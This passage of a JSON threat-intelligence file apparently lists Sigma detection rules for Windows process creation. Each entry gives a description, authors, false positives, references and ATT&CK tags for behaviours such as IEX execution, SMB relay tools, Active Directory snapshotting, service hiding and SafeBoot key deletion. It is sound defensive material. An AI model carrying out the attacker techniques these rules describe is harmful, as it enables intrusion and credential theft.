            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "438025f9-5856-4663-83f7-52f878a70a50",
      "value": "Suspicious Microsoft Office Child Process"
    },
    {
      "description": "Detects suspicious calls of DLLs in rundll32.dll exports by ordinal",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/10/22",
        "falsepositive": [
          "False positives depend on scripts and administrative tools used in the monitored environment",
          "Windows control panel elements have been identified as source (mmc)"
        ],
        "filename": "proc_creation_win_rundll32_by_ordinal.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/Neo23x0/DLLRunner",
          "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/",
          "https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/",
          "https://twitter.com/cyb3rops/status/1186631731543236608",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_by_ordinal.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e79a9e79-eb72-4e78-a628-0e7e8f59e89c",
      "value": "Suspicious Call by Ordinal"
    },
    {
      "description": "Detects the execution of CSharp interactive console by PowerShell",
      "meta": {
        "author": "Michael R. (@nahamike01)",
        "creation_date": "2020/03/08",
        "falsepositive": [
          "Possible depending on environment. Pair with other factors such as net connections, command-line args, etc."
        ],
        "filename": "proc_creation_win_csi_use_of_csharp_console.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/detecting-attacks-leveraging-the-net-framework/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csi_use_of_csharp_console.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a9e416a8-e613-4f8b-88b8-a7d1d1af2f61",
      "value": "Suspicious Use of CSharp Interactive Console"
    },
    {
      "description": "Detects usage of wsudo (Windows Sudo Utility). Which is a tool that let the user execute programs with different permissions (System, Trusted Installer, Administrator...etc)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/12/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_pua_wsudo_susp_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/M2Team/Privexec/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_wsudo_susp_execution.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.privilege_escalation",
          "attack.t1059"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bdeeabc9-ff2a-4a51-be59-bb253aac7891",
      "value": "PUA - Wsudo Suspicious Execution"
    },
    {
      "description": "Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe)",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/05/16",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_lolbin_ttdinject.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b27077d6-23e6-45d2-81a0-e2b356eea5fd",
      "value": "Use of TTDInject.exe"
    },
    {
      "description": "Detects the use of the WMI command-line (WMIC) utility to identify and display various system information,\nincluding OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS,\nand GPU driver products/versions.\nSome of these commands were used by Aurora Stealer in late 2022/early 2023.\n",
      "meta": {
        "author": "TropChaud",
        "creation_date": "2023/01/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_recon_system_info_discovery.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/a6aa0057-82ec-451f-8f99-55650ca537da/",
          "https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar",
          "https://github.com/redcanaryco/atomic-red-team/blob/a2ccd19c37d0278b4ffa8583add3cf52060a5418/atomics/T1082/T1082.md#atomic-test-25---system-information-discovery-with-wmic",
          "https://nwgat.ninja/getting-system-information-with-wmic-on-windows/",
          "https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_system_info_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1082"
        ]
      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9d5a1274-922a-49d0-87f3-8c653483b909",
      "value": "Potential System Information Discovery Via Wmic.EXE"
    },
    {
      "description": "Detects suspicious ways to run Invoke-Execution using IEX alias",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/24",
        "falsepositive": [
          "Legitimate scripts that use IEX"
        ],
        "filename": "proc_creation_win_powershell_iex_patterns.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_iex_patterns.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "09576804-7a05-458e-a817-eb718ca91f54",
      "value": "Suspicious PowerShell IEX Execution Patterns"
    },
    {
      "description": "Detects suspicious DACL modifications to deny access to a service that affects critical trustees. This can be used to hide services or make them unstoppable.",
      "meta": {
        "author": "Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2020/10/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sc_sdset_deny_service_access.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings",
          "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/",
          "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_deny_service_access.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "99cf1e02-00fb-4c0d-8375-563f978dfd37",
      "value": "Deny Service Access Using Security Descriptor Tampering Via Sc.EXE"
    },
    {
      "description": "Detects a ping command that uses a hex encoded IP address",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/03/23",
        "falsepositive": [
          "Unlikely, because no sane admin pings IP addresses in a hexadecimal form"
        ],
        "filename": "proc_creation_win_ping_hex_ip.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna",
          "https://twitter.com/vysecurity/status/977198418354491392",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ping_hex_ip.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1140",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1a0d4aba-7668-4365-9ce4-6d79ab088dfd",
      "value": "Ping Hex IP"
    },
    {
      "description": "Detects execution of ftp.exe script execution with the \"-s\" or \"/s\" flag and any child processes ran by ftp.exe",
      "meta": {
        "author": "Victor Sergeev, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_ftp.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Ftp/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ftp.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059",
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "06b401f4-107c-4ff9-947f-9ec1e7649f1e",
      "value": "LOLBIN Execution Of The FTP.EXE Binary"
    },
    {
      "description": "Detects execution of \"odbcconf\" with the \"-f\" flag in order to load a response file which might contain a malicious action.",
      "meta": {
        "author": "Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/22",
        "falsepositive": [
          "The rule is looking for any usage of response file, which might generate false positive when this function is used legitimately. Investigate the contents of the \".rsp\" file to determine if it is malicious and apply additional filters if necessary."
        ],
        "filename": "proc_creation_win_odbcconf_response_file.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/",
          "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/",
          "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16",
          "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_response_file.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.008"
        ]
      },
      "related": [
        {
          "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5f03babb-12db-4eec-8c82-7b4cb5580868",
      "value": "Response File Execution Via Odbcconf.EXE"
    },
    {
      "description": "Detects different hacktools used for relay attacks on Windows for privilege escalation",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/07/24",
        "falsepositive": [
          "Legitimate files with these rare hacktool names"
        ],
        "filename": "proc_creation_win_hktl_relay_attacks_tools.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes",
          "https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire",
          "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/",
          "https://github.com/ohpe/juicy-potato",
          "https://www.localpotato.com/",
          "https://pentestlab.blog/2017/04/13/hot-potato/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_relay_attacks_tools.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1557.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5589ab4f-a767-433c-961d-c91f3f704db1",
      "value": "Potential SMB Relay Attack Tool Execution"
    },
    {
      "description": "Detects the execution of Sysinternals ADExplorer with the \"-snapshot\" flag in order to save a local copy of the active directory database to a suspicious directory.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/03/14",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sysinternals_adexplorer_susp_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_adexplorer_susp_execution.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.001",
          "attack.t1003.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ef61af62-bc74-4f58-b49b-626448227652",
      "value": "Suspicious Active Directory Database Snapshot Via ADExplorer"
    },
    {
      "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Tim Shelton",
        "creation_date": "2022/08/08",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_reg_delete_safeboot.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_safeboot.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fc0e89b5-adb0-43c1-b749-c12a10ec37de",
      "value": "SafeBoot Registry Key Deleted Via Reg.EXE"
    },
    {
      "description": "Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe.\nAutoIt is a scripting language and automation tool for Windows systems. While primarily used for legitimate automation tasks, it can be misused in cyber attacks.\nAttackers can leverage AutoIt to create and distribute malware, including keyloggers, spyware, and botnets. A renamed AutoIt executable is particularly suspicious.\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2023/06/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_autoit.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.autoitscript.com/site/",
          "https://twitter.com/malmoeb/status/1665463817130725378?s=12&t=C0_T_re0wRP_NfKa27Xw9w",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_autoit.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f4264e47-f522-4c38-a420-04525d5b880f",
      "value": "Renamed AutoIt Execution"
    },
    {
      "description": "Detection of sc.exe utility adding a new service with special permission which hides that service.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sc_sdset_modification.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/",
          "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/",
          "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html",
          "https://twitter.com/Alh4zr3d/status/1580925761996828672",
          "https://twitter.com/0gtweet/status/1628720819537936386",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_modification.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "98c5aeef-32d5-492f-b174-64a691896d25",
      "value": "Service Security Descriptor Tampering Via Sc.EXE"
    },
    {
      "description": "Detects execution of PktMon, a tool that captures network packets.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/17",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_pktmon_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Pktmon/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pktmon_execution.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1040"
        ]
      },
      "related": [
        {
          "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f956c7c1-0f60-4bc5-b7d7-b39ab3c08908",
      "value": "PktMon.EXE Execution"
    },
    {
      "description": "Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. These files are commonly used to describe the processing and rendering of data within XML files.\nAdversaries can abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.\n",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Msxsl is not installed by default and is deprecated, so unlikely on most systems."
        ],
        "filename": "proc_creation_win_msxsl_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msxsl_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1220"
        ]
      },
      "related": [
        {
          "dest-uuid": "ebbe170d-aa74-4946-8511-9921243415a3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9e50a8b3-dd05-4eb8-9153-bdb6b79d50b0",
      "value": "Msxsl.EXE Execution"
    },
    {
      "description": "Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/05/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_lolbin_printbrm.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/PrintBrm/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105",
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cafeeba3-01da-4ab4-b6c4-a31b1d9730c7",
      "value": "PrintBrm ZIP Creation of Extraction"
    },
    {
      "description": "Detects a renamed dctask64.exe used for process injection, command execution, process creation with a signed binary by ZOHO Corporation",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2020/01/28",
        "falsepositive": [
          "Unknown yet"
        ],
        "filename": "proc_creation_win_renamed_dctask64.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/gN3mes1s/status/1222095963789111296",
          "https://twitter.com/gN3mes1s/status/1222088214581825540",
          "https://twitter.com/gN3mes1s/status/1222095371175911424",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_dctask64.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036",
          "attack.t1055.001",
          "attack.t1202",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "340a090b-c4e9-412e-bb36-b4b16fe96f9b",
      "value": "Renamed ZOHO Dctask64 Execution"
    },
    {
      "description": "Detects execution of client32.exe (NetSupport RAT) from an unusual location (outside of 'C:\\Program Files')",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_remote_access_tools_netsupport_susp_exec.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/misbehaving-rats/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_netsupport_susp_exec.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "37e8d358-6408-4853-82f4-98333fca7014",
      "value": "Remote Access Tool - NetSupport Execution From Unusual Location"
    },
    {
      "description": "Detects use of .NET InstallUtil.exe in order to download arbitrary files. The files will be written to \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\\"\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_installutil_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/LOLBAS-Project/LOLBAS/pull/239",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_installutil_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "75edd216-1939-4c73-8d61-7f3a0d85b5cc",
      "value": "File Download Via InstallUtil.EXE"
    },
    {
      "description": "Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism",
      "meta": {
        "author": "Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule)",
        "creation_date": "2019/02/22",
        "falsepositive": [
          "False positives depend on scripts and administrative tools used in the monitored environment"
        ],
        "filename": "proc_creation_win_mshta_susp_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997",
          "https://twitter.com/mattifestation/status/1326228491302563846",
          "https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script",
          "https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356",
          "http://blog.sevagas.com/?Hacking-around-HTA-files",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1140",
          "attack.t1218.005",
          "attack.execution",
          "attack.t1059.007",
          "cve.2020.1599"
        ]
      },
      "related": [
        {
          "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cc7abbd0-762b-41e3-8a26-57ad50d2eea3",
      "value": "MSHTA Suspicious Execution 01"
    },
    {
      "description": "Detects a potentially suspicious parent of \"csc.exe\", which could be a sign of payload delivery.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), X__Junior (Nextron Systems)",
        "creation_date": "2019/02/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_csc_susp_parent.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.uptycs.com/blog/warzonerat-can-now-evade-with-process-hollowing",
          "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html",
          "https://reaqta.com/2017/11/short-journey-darkvnc/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csc_susp_parent.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.005",
          "attack.t1059.007",
          "attack.defense_evasion",
          "attack.t1218.005",
          "attack.t1027.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b730a276-6b63-41b8-bcf8-55930c8fc6ee",
      "value": "Csc.EXE Execution Form Potentially Suspicious Parent"
    },
    {
      "description": "Detects execution of \"certutil\" with the \"addstore\" flag in order to install a new certificate on the system.\nAdversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.\n",
      "meta": {
        "author": "oscd.community, @redcanary, Zach Stanford @svch0st",
        "creation_date": "2023/03/05",
        "falsepositive": [
          "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP"
        ],
        "filename": "proc_creation_win_certutil_certificate_installation.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
